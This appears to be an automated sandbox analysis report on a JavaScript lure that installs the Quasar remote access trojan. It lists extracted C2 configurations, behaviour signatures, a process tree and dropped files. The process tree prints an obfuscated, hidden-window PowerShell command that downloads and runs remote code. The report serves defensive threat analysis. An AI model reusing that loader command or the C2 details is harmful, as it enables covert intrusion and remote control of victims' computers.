Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/06/2026, 15:00

General

  • Target
    e-dekontpdf.js
  • Size 68KB
  • Sample260626-sds6nsct21
  • SHA256 509c2a5b7f12d2a67bfb9b697581fc9718c6ceba0575cc9e8490284fe4bdd6ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.4.0

Botnet
  • NewBypassed

C2
  • 91.192.100.36:8084

Mutex
  • 9ce44fed-2881-4998-80a9-a8059346d6d7

Attributes
  • encryption_key

    F2F10A25F4D0D0543F5520C8C8BAC500DA1B1AC1

  • install_name

    Client.exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Mirsoft Update

  • subdirectory

    Mirsoft

Extracted

Family
  • quasar

Version
  • 1.4.0

Botnet
  • Micro

C2
  • babayagadead.duckdns.org:1933

Mutex
  • 69059989-4d50-45f8-b299-3d7635455c52

Attributes
  • encryption_key

    E1E0263C65C57BAA0955A3EA0636BB8240539AF2

  • install_name

    ChromeServiceUpgrade.exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    Logsssss

  • reconnect_delay

    3000

  • startup_key

    ChromeServiceUpgrade

  • subdirectory

    ChromeServiceUpgrade

Signatures

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Quasar payload 2 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\e-dekontpdf.js
    1⤵
      PID:3144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -ep bypass -c "$iex=[char]73+[char]69+[char]88;$irm='Inv'+'oke-Rest'+'Method';& $iex (& $irm 'https://babayagareborn.net/blackhole/nod32/iexkisalt.txt')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\szucmjm2.ps1"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4352
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1388
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES188F.tmp" "c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP"
            4⤵
              PID:1268
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3972
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.cmdline"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4284
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp" "c:\Users\Admin\AppData\Local\Temp\qqugibq1\CSC76480F48CA374B5B9AC3474492396B.TMP"
            3⤵
              PID:4772
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            2⤵
              PID:5680
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              2⤵
                PID:4164
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                2⤵
                  PID:4860
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2644

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 f5556321ad12df3296ded2b7f6317e8f12f266be69e9b8db87a2b46caa5228f9
                    • MD5 SHA1 SHA512 TLSH

                    2h2hqi3x.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.dll
                    • Size 4KB
                    • SHA256 eb6590b7e78840650c6e1930e959cb6142dab258003e365cd3c5844b21df8bb0
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    RES188F.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\RES188F.tmp
                    • Size 1KB
                    • SHA256 7cc7439757dd782e3f05f900d4ce21b4ca7c12290c2760eb0639bcbcae8d86bb
                    • MD5 SHA1 SHA512 TLSH

                    RES27E1.tmp

                    • Path C:\Users\Admin\AppData\Local\Temp\RES27E1.tmp
                    • Size 1KB
                    • SHA256 ab7c9ef780f4e008dba0b8a7c53f5b4674a5ac95cfaa4205d687c1a8a65599f0
                    • MD5 SHA1 SHA512 TLSH

                    qqugibq1.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.dll
                    • Size 4KB
                    • SHA256 0b77a5f0163c6bd9abf1c52e8d0e5c0524465b23d073874e57af01fbd46fc247
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    szucmjm2.ps1

                    • Path C:\Users\Admin\AppData\Roaming\szucmjm2.ps1
                    • Size 1KB
                    • SHA256 25dd129a4822566f38545a37e1120533266fa1a9b895f8605f5b9364744da42c
                    • MD5 SHA1 SHA512 TLSH

                    2h2hqi3x.0.cs

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.0.cs
                    • Size 1KB
                    • SHA256 1682c6e1fab37ea0b97334ccd22dd8687acee96913b774c31af67f3af5af0cea
                    • MD5 SHA1 SHA512 TLSH

                    2h2hqi3x.cmdline

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\2h2hqi3x.cmdline
                    • Size 369B
                    • SHA256 2e95fe43912b376353a36aec0f2e04d9f041094319dd26e7dd6c4dcd10f956f7
                    • MD5 SHA1 SHA512 TLSH

                    CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\2h2hqi3x\CSCAB65DD91A5814C57BACD74B0E995F1E1.TMP
                    • Size 652B
                    • SHA256 e00e25f72699d6d525dc0b6d04e6eb05af30993da877c991a99a9abafc91d8da
                    • MD5 SHA1 SHA512 TLSH

                    CSC76480F48CA374B5B9AC3474492396B.TMP

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\qqugibq1\CSC76480F48CA374B5B9AC3474492396B.TMP
                    • Size 652B
                    • SHA256 162e53f88b78fe3eb63b73570e3dcff6f4e02d904f6aa6a1de69a2bb546b9845
                    • MD5 SHA1 SHA512 TLSH

                    qqugibq1.cmdline

                    • Path \??\c:\Users\Admin\AppData\Local\Temp\qqugibq1\qqugibq1.cmdline
                    • Size 369B
                    • SHA256 21f0a56ab6df2e600212998524bab428fc35eda5cdf751ea88748fba47a89a40
                    • MD5 SHA1 SHA512 TLSH

                    memory/1388-35-0x0000012EB6620000-0x0000012EB6FC4000-memory.dmp

                    memory/2644-62-0x0000000000400000-0x0000000000484000-memory.dmp

                    memory/2884-14-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-71-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-15-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-24-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-25-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-5-0x0000022541B50000-0x0000022541B72000-memory.dmp

                    memory/2884-0-0x00007FFF35D2F000-0x00007FFF35D30000-memory.dmp

                    memory/2884-13-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-12-0x000002255A150000-0x000002255A312000-memory.dmp

                    memory/2884-16-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-11-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-10-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-9-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-2-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-6-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-7-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-8-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/2884-61-0x000002255A3C0000-0x000002255A3C8000-memory.dmp

                    memory/2884-1-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/3972-45-0x0000000005B00000-0x00000000060BA000-memory.dmp

                    memory/3972-46-0x00000000055F0000-0x0000000005682000-memory.dmp

                    memory/3972-47-0x00000000055B0000-0x00000000055BA000-memory.dmp

                    memory/3972-65-0x00000000070E0000-0x00000000076F8000-memory.dmp

                    memory/3972-66-0x0000000005A20000-0x0000000005A70000-memory.dmp

                    memory/3972-67-0x0000000006C50000-0x0000000006D02000-memory.dmp

                    memory/3972-40-0x0000000000400000-0x0000000000484000-memory.dmp

                    memory/3972-72-0x0000000008320000-0x0000000008386000-memory.dmp

                    memory/4284-59-0x000002A8BD5D0000-0x000002A8BDF74000-memory.dmp

                    memory/4352-37-0x0000021062DD0000-0x0000021062DD8000-memory.dmp

                    memory/4352-43-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/4352-44-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/4352-42-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/4352-39-0x0000021062E10000-0x0000021062E20000-memory.dmp

                    memory/4352-68-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp

                    memory/4352-38-0x0000021062E00000-0x0000021062E0C000-memory.dmp

                    memory/4352-26-0x00007FFF35BA0000-0x00007FFF36544000-memory.dmp